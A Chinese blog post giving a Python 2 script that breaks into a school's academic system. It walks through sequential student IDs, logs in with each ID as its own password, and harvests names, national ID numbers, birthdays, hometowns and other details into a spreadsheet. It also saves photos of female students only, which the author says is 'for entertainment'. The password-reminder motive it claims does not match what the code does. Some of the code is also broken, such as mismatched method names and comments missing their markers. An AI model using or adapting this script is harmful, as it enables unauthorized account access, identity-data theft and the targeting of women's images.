使用Python爬取学校学生信息!(简单爬虫)
发布时间
阅读量:
阅读量
好久没发过博文了。发现学校的教务系统有很多同学都没修改过初始密码。于是博主就想开发一个试用版python小程序,在未修改密码的同学群中提取信息后提醒同学们尽快完成密码更改。
鉴于写博文时未通知这些受害童鞋们,因此隐去关键信息。
首先为初始化方法__init__(self)
import urllib
import urllib2
import cookielib
import re
import xlwt
from xlrd import open_workbook
from xlutils.copy import copy
class STUPID:
def __init__(self):
self.c=0#用于后期记录在excel中行数
self.loginurl='http://xxx.cn/xxx/xxx.asp'#登陆url
self.infurl='http://xxx.cn/xxx/xxx/show.asp' #获取信息的url
#user-agent用于放在header中,伪装为浏览器
self.user_agent='Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36'
self.headers={
'User-Agent':self.user_agent
}#设置头
#用于保存cookie
cookie = cookielib.CookieJar()
#用于输出send内容,dubug时使用
httpHandler = urllib2.HTTPHandler(debuglevel=1)
httpsHandler = urllib2.HTTPSHandler(debuglevel=1)
self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie),httpHandler, httpsHandler)
urllib2.install_opener(self.opener)
下面介绍login(self,k)方法
def login1(self,k):
user= str(123456789+k)#用户名为学号,为保护隐私,采用该输入,K位偏移量,这是由于学号采用递增方式排列
passwd= str(123456789+k)#初始密码等于用户名
#设置提交给服务器的数据
postdata= urllib.urlencode({
'user':user,
'pass':passwd,
'typeid':'2'})#typeid为用户种类
request=urllib2.Request(
url=self.loginurl,
data = postdata,
headers=self.headers
)
result= self.opener.open(request)#登陆并获取返回内容
return user#返回学号
一旦登录成功后,在此情况下其中cookie已预先存在并被记录于签名定义的cookie中。从而使得访问信息页面成为可能,并调用方法getInfPage(self)。
def getInfPage(self):
request=urllib2.Request(
url=self.infurl,
headers=self.headers
)
result= self.opener.open(request)
return result.read().decode('gbk')
获取的数据属于HTML格式的文字;因此有必要调用正则表达式工具来提取所需的信息;最后一步操作通过自定义函数readInf(self)执行。
def readInf(self):
page= self.getInfPage()#page为html内容
inf=re.findall('<td.*?>([^<tr>].*?)</td>.*?<td.*?>(.*?)</td>',page,re.S)
return inf
通过规则匹配后生成的数据将被存储在列表中,并在此之后调用writeinf(self,Items,user)方法将被存储在列表中的信息随后将被写入到Excel文件中
def writeinf(self,Items,user):
if Items:#若item不为空,行数+1
self.c = self.c+1
else:
#由于包里没有直接修改的方法,因此采用先复制再写的方法
rb = open_workbook("inf.xls")#打开inf.xls文件
wb= copy(rb)#复制内容
s= wb.get_sheet(0)#获取第一张表
i=0
username =''
x= unicode('女', "utf-8")
for item in Items:
s.write(self.c,0,user)#第一列写入学号
if i<3 :
if i==0:
username=item[1]#获取姓名,并写入第二列
if i== 1 and item[1] == x:#若为女生,获取其照片
self.saveImg(user,username)#此为保存图片方法,在下文介绍
print 'save'
s.write(self.c,i+1,item[1])#第三列写入性别,第四列写民族
if i== 13:#
s.write(self.c,6,item[1])#第七列写入毕业院校
if i== 15:
s.write(self.c,7,item[1])#第八列写入籍贯
if i== 17:
s.write(self.c,8,item[1])#第九列为身份证号
else:
if i == 4:
s.write(self.c,4,item[0])第五列写生日
if i == 8:
s.write(self.c,5,item[0])第六列写政治面貌
i= i+1
wb.save('inf.xls')#保存xsl文件
介绍一下保存图片的方法saveImg(self,user,username):
def saveImg(self,user,username):
imgUrl= 'http://xxx.cn/xxx/xxx/'+user+'.jpg'#图片url
filename= 'img/'+username+'.jpg'#文件以名字命名
u= urllib.urlopen(imgUrl)
data= u.read()#读取图片
f= open(filename,'wb')
f.write(data)#保存图片
f.close #关闭
return True
最后运行即可
supid= STUPID()
k=1
for k in range(1,200) :
user= supid.login(k)#由于学生人数在200以内,因此最高设置为200
supid.writeinf(supid.readInf(),user)
随后就是耐心地等待了,时间跨度较长。打算增加多个线程来处理相关的内容。这些图片和信息仅仅是为了娱乐用途保存的,并不准备用于不当行为。大家也不要从事任何不当行为。
全部评论 (0)
还没有任何评论哟~
